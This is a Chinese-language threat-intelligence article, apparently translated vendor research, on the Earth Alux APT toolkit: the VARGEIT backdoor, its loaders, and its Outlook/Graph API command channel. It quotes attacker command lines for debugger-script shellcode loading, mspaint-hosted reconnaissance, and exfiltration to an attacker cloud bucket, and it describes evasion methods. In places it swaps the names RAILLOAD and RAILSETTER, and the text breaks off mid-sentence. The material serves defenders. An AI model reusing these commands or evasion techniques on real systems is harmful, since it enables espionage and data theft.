深入解析Earth Alux间谍工具包的高级技术

本文详细分析了与中国相关的APT组织Earth Alux使用的先进网络间谍技术,包括其主后门VARGEIT的加载方法、通信机制以及通过Graph API进行数据外泄的技术细节,覆盖政府、科技和制造业等多个关键行业。

Earth Alux的间谍工具包:深入解析其先进技术

Trend Research通过持续监控和调查工作,揭露了Earth Alux的隐秘活动和先进技术。该高级持续性威胁(APT)组织的主要工具之一是其主后门VARGEIT。如果未被检测到,攻击可以在系统中维持立足点并进行网络间谍活动。数据的长期收集和外泄可能导致深远后果,如运营中断和财务损失。

攻击主要针对亚太(APAC)和拉丁美洲地区,涉及政府、科技、物流、制造、电信、IT服务和零售等关键行业。

Earth Alux攻击概述

为了进入系统,Earth Alux主要利用暴露服务器中的漏洞服务。然后植入Web shell(如GODZILLA)以方便其后门的传递。它主要使用VARGEIT作为其主要后门和控制工具,以及COBEACON。VARGEIT用作第一、第二和/或后期后门,而COBEACON用作第一后门。

这在VARGEIT的加载方式上有所区别:第一阶段通过使用cdb.exe的调试器脚本加载,而后期阶段使用DLL侧加载,可以包括通过RAILLOAD(加载器组件)和RAILSETTER(安装和时间戳工具)的执行防护和时间戳技术。

VARGEIT也是Earth Alux操作补充工具的主要方法,用于各种任务,如横向移动和网络发现,以无文件方式进行。

Earth Alux TTPs

Earth Alux采用各种先进的战术、技术和程序(TTPs)来促进其计划。以下是攻击每个阶段的详细视图:

初始访问

Earth Alux主要利用暴露服务器中的漏洞服务来获得初始访问,并植入Web shell(如GODZILLA)以允许传递其第一后门。

执行、持久性和防御规避

通过植入的Web shell获得控制后,Earth Alux通过不同的加载方法安装第一后门(COBEACON或VARGEIT)。

COBEACON

COBEACON是许多威胁行为者常用的工具,也是Earth Alux使用的工具之一。它主要用作第一后门,并作为DLL侧加载的MASQLOADER的加密有效负载加载,或作为使用RSBINJECT的shellcode加载。

COBEACON加载器 – MASQLOADER

第一个观察到的用于执行COBEACON有效负载的加载方法是通过MASQLOADER,一个DLL侧加载的加载器。该加载器组件使用替换密码解密其有效负载,其中加密有效负载包含1-3个字符的字符串,具有基于MASQLOADER替换表的十六进制值等效值。

后来的MASQLOADER版本还添加了反API钩子技术。它通过用直接从文件中获取的ntdll.dll的代码部分覆盖其内存空间中的ntdll.dll的代码部分来实现这一点,有效地用原始代码覆盖了监控工具和安全工具插入的任何API钩子。

此功能允许MASQLOADER和注入的有效负载逃避基于安全软件拦截的API调用的检测。

我们的遥测数据表明,除了Earth Alux之外,其他组织也在使用MASQLOADER。此外,MASQLOADER的代码结构与其他工具(如RAILSETTER和RAILLOAD)的差异表明,MASQLOADER的开发与这些工具集是分开的。

COBEACON加载器 – RSBINJECT

Earth Alux使用的另一个加载COBEACON的工具是RSBINJECT,一个基于Rust的命令行shellcode加载器。

它没有解密例程,直接加载shellcode。相反,它具有其他功能,帮助使用可选标志和子命令测试shellcode。

虽然RSBINJECT在攻击中被观察到,但其功能表明它也可以作为shellcode的测试工具。与MASQLOADER一样,此工具可能不是Earth Alux独有的。

第一VARGEIT执行 – CDB

第一VARGEIT通过使用调试器脚本的shellcode注入执行。此方法使用cdb.exe(在由Web shell丢弃时重命名为fontdrvhost.exe)作为调试器和主机,运行基于LOLBAS方法的脚本。

调试器脚本config.ini包含加载器shellcode和VARGEIT的代码。这产生以下命令行:

1
C:\programdata\fontdrvhost.exe -cf c:\programdata\config.ini -o c:\programdata\fontdrvhost.exe

此加载方法通常用作第一后门安装,通过通常涉及利用外部暴露服务器的初始访问方法传递,并且经常观察到安装第二和后期VARGEIT。

此加载方法的一个变体使用一个shellcode,从单独的文件组件加载加密的VARGEIT有效负载。

第二VARGEIT执行 – DLL侧加载

第二VARGEIT通过涉及RAILLOAD加载器工具的DLL侧加载执行。此方法通常用于第二或后期安装,并且可以通过所述工具实现执行防护,以及通过RAILSETTER的规避措施。

RAILLOAD作为第二VARGEIT加载器

RAILLOAD是一个通过DLL侧加载执行的加载器工具,用于第二加载。

此工具带有自己的配置,并且已经看到具有来自加密文件或注册表位置的各种有效负载组件。

RAILLOAD配置是base64编码的,并包含由“||”分隔的信息:

  • 基于文件的配置:<加密有效负载的路径和文件名>||<AES密钥>||<主机路径和文件名>
  • 基于注册表的配置:<注册表键>||<注册表数据>||<AES密钥>||<特定主机路径和文件名>

RAILLOAD解密和执行防护

RAILLOAD的解密例程使用base64解码,然后是AES-128 CBC模式解密。这在某些变体中可以有执行防护。

例如,如果配置不包含AES密钥(可以留空),RAILLOAD使用感染机器的注册表中的信息作为解密密钥。

在旧变体中,使用HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid的前16字节,而在新变体中,应用HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProductID的前16字节。

RAILSETTER用于持久性和时间戳

RAILLOAD是一个持久性安装程序组件,设计用于与RAILLOAD一起工作。其主要功能包括:

  • 将RAILLOAD的预期主机从c:\windows\system32复制并重命名到目标目录
  • 时间戳RAILLOAD及其主机的创建、访问和修改时间
  • 创建计划任务以持久性

RAILLOAD还有一个base64编码的配置,其中包含执行其功能所需的信息。配置结构如下: ||<来自系统的目标主机>||<时间戳日期>||<主机目的地和新文件名>||<RAILLOAD文件>||<计划任务>||<计划任务描述>||<计划任务触发时间>||

该组件的执行流程如下所示。

RAILLOAD设计为通过regsvr32.exe加载。RAILLOAD的主机也以类似的方式部署,就像RAILLOAD的主机是系统中已存在文件的重新定位和重命名副本一样。在涉及Earth Alux的后期事件中,RAILLOAD不再作为文件落地,而是通过VARGEIT的mspaint注入方法执行。

后门和命令与控制

Earth Alux在这些阶段的大部分活动使用VARGEIT的功能处理,其中一个带来杂项工具。

作为一个多通道可配置后门,以下是其可用通道,主要用于通信,可以在配置中设置:

ID 通道
0x00 HTTP
0x01 反向TCP
0x02 反向UDP
0x03 绑定TCP
0x04 绑定HTTP
0x05 Outlook
0x06 ICMP
0x07 DNS
0x08 Web
0x09 绑定SMB

表1. VARGEIT通道

Outlook通道,利用Graph API,在所有观察到的攻击中主要使用。后来的变体也包括Outlook通道是唯一选项的版本。

Graph API允许授权访问用户的Outlook邮件数据,允许电子邮件相关操作,如阅读、发送和管理电子邮件,以及从主要和共享邮箱访问日历事件和联系人。

VARGEIT的配置也可以根据使用的通道而变化。Outlook通道类型配置包含以下信息:

偏移 大小
0x00 ~(最多0x1388) MS Auth的刷新令牌
0x1388 ~(最多0xC8) 备份刷新令牌的URL
0x1450 0x10 用作存储(auth)令牌的注册表数据的GUID
0x1478 0x02 添加到通信消息的未知ID + 0x2B
0x147a 0x04 未知DW值
0x147e 0x01 通道字节;决定将使用哪个通信通道
0x147f 0x10 用于消息解密/加密的AES-128密钥
0x148f 0x01 获取外部IP的标志
0x1490 0x01 未知字节
0x1491 0x01 退出字节
0x1492 0x04 未知DW值

表2. VARGEIT Outlook通道类型配置

在后门的最新版本中,备份刷新令牌的URL和用作auth令牌存储的注册表数据的GUID已从配置中删除,调整了其余信息的偏移位置。

使用Graph API,Outlook通信通道利用草稿文件夹进行后门和控制器之间的消息交换。后门消息以p_前缀,而来自控制器的消息以r_前缀。

后门处理的消息也被删除以去除痕迹,根据观察,控制器也可能具有相同的功能。

服务器消息

来自C&C服务器的消息以r_前缀。消息ID允许控制器跟踪被控制的后门实例,并使后门的实例识别它应该读取哪个消息。

消息ID使用随机生成的GUID的fnv-1a x64哈希 per后门实例生成。fnv-1a x64哈希的十进制等效用于消息标题,而十六进制等效也嵌入在通信数据包中。

服务器消息体包含实际通信数据,使用AES-128 CBC模式加密,并使用zlib压缩。然后作为base64编码字符串存储在消息体中。

base64解码层具有头部结构,实际加密数据在偏移0x2a:

偏移 大小
0x00 0x1e (第一个未框序列)随机生成的填充字节
0x1e 0x04 (红框)ByteArray的大小
0x22 0x08 (黄框)消息ID(十六进制)
0x2a ~ (黑框)加密数据的开始

表3. 通信头部结构

加密数据解密和解压缩后,消息遵循特定结构。

偏移 大小 数据
0x00 0x04 (第一个未框序列)未压缩消息的大小
0x04 0x04 (红框)剩余数据的大小,作为相应命令函数调用的参数传递
0x08 0x01 (黄框)命令ID
0x09 0x08 (黑框)未知
0x11 ~ (白框)附加参数的开始(随命令ID变化)

表4. 解密通信数据结构

它与服务器消息共享类似的结构,在消息头部块中有一些附加数据:

偏移 大小 数据
0x00 0x1e 随机生成的填充字节
0x1e 0x04 ByteArray的总大小
0x22 0x01 未知通信标志
空内容的消息值为0x00
响应收集消息ID的消息值为0x01
0x23 0x08 消息ID(十六进制)
0x2b 0x08 来自config+0x1478的ID
config中的ID只有WORD的大小,但当向服务器发送通信时,为此ID分配的大小是QW
0x33 ~ 要发送的加密数据的开始

表5. 解码通信头部结构

加密数据的结构根据后门响应的命令而变化。

上面的示例是对系统信息收集命令的响应,它显示信息,如用户名、计算机名、外部IP地址、内部IP地址、OS版本、用户管理员标志、主机进程名和主机进程ID。

VARGEIT功能

VARGEIT的后门功能如下:

  • 收集系统信息
  • 使用不同通道通信
  • 与Windows Defender防火墙交互
  • 收集驱动器信息
  • 收集运行进程信息
  • 获取、设置、搜索、创建和删除目录
  • 读取和写入文件
  • 执行命令行
  • 将杂项工具注入到受控的mspaint或conhost实例

攻击者使用mspaint注入直接从C&C服务器执行附加工具到目标机器,而无需文件落地。VARGEIT打开一个mspaint实例,其中要注入来自C&C服务器的shellcode。

代码注入和执行使用RtlCreateUserThread、VirtualAllocEx和WriteProcessMemory。对于命令行工具,VARGEIT创建一个管道,可以读取输出并发送回控制器。对于需要交互的注入工具,后门使用命名管道。

发现、收集和外泄

值得注意的是,VARGEIT可以启动多个MSPaint实例来托管工具。在攻击的各个阶段可以执行各种活动:

安装

在最近的攻击中,Earth Alux改变了其持久性安装工具之一RAILSETTER的部署方法。在作为要通过regsvr32.exe加载的DLL文件部署后,此工具通过mspaint方法执行。

尽管mspaint进程中没有可区分的参数,但可以观察到RAILSETTER的安装和时间戳行为来自它。

发现

Earth Alux部署似乎执行安全事件日志和组策略发现以及网络/LDAP侦察的工具。

执行安全事件日志和组策略发现的mspaint进程可以显示以下命令行参数:

1
C:\Windows\System32\mspaint.exe Aslire597 <附加参数>

执行网络/LDAP侦察的mspaint进程可以看到以下参数:

1
C:\Windows\System32\mspaint.exe sElf98RqkF ldap <IP> <AD域> <机器AD域>

网络/LDAP侦察进程也可以生成包含网络信息的文件。这些创建在格式为<数据路径>\<ad域名>_<收集日期和时间>\的文件夹内(例如,c:\programdata\data\ad.domain.name_20241111062500\)。以下文件可以在此路径下创建:

  • adcs.txt
  • admin.keyword.users.txt
  • all.dc.host.txt
  • all.dns.record.txt
  • all.exchange.host.txt
  • all.gpo.txt
  • all.group.user.txt
  • all.host.txt
  • all.mssql.host.txt
  • all.old.host.txt
  • all.ou.txt
  • all.spn.txt
  • all.trusted.domain.txt
  • all.trusted.txt
  • all.user.workstations.host.txt
  • all.users.txt
  • as-rep_roasting.txt
  • delegation.host.txt
  • delegation.users.txt
  • disabled.users.txt
  • domain.admin.groups.txt
  • domain.adminsdholder.users.txt
  • locked.users.txt
  • neverexpire.users.txt
  • password_policy.txt
  • unconstrained_delegation.host.txt
  • unconstrained_delegation.users.txt

这些文件然后在数据路径下归档(示例中的c:\programdata\data),文件名为ad.domain.name_20241111062500.zip。

收集

Earth Alux加载一个可能的自定义压缩工具到mspaint用于收集目的。该进程具有以下参数和压缩文件(文件扩展名为.tar.gz)的输出:

1
C:\Windows\System32\mspaint.exe <压缩目标目录> <压缩文件的路径和文件名> <未知参数>

收集的文件包括在发现阶段产生的文件。

外泄

Earth Alux还通过此方法部署一个外泄工具,以外泄在收集阶段创建的压缩文件。这里,它显示以下参数:

1
C:\Windows\System32\mspaint.exe gWgGfsq1PcUUoo <区域> <桶名> <ID> <秘密> <过期时间> dm9TTlEwM0NXRkF3TXRkM3RVSHg3SGQ3TDl4YVNRNGY= <外泄数据路径>

有趣的是,外泄的数据发送到攻击者控制的云存储桶。根据我们的遥测数据,Earth Alux使用相同的云存储桶从不同的目标外泄。

测试和开发

Earth Alux使用RAILLOAD和RAILSETTER进行几次测试。这些包括检测测试和尝试找到新的DLL侧加载主机。

DLL侧加载测试涉及ZeroEye,一个在中文社区流行的开源工具,用于扫描EXE文件的导入表以查找可以被滥用用于侧加载的导入DLL。

Earth Alux将ZeroEye与CloneExportTable配对,一个用于将指定DLL的导出表克隆到用于侧加载的DLL的导出表中的工具。使用此工具通常涉及将所需DLL的导出表克隆到RAILLOAD样本中。

Earth Alux还使用VirTest,另一个在中文社区流行的测试工具,用于检测测试目的和增强其工具集的规避功能。

VirTest允许用户 pinpoint 其工具中导致安全软件基于文件的检测的代码,并修改 pinpointed 代码以绕过基于文件的检测。

目标行业

Earth Alux主要针对各种行业,即政府、科技、物流、制造、电信、IT服务和零售,反映了其

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计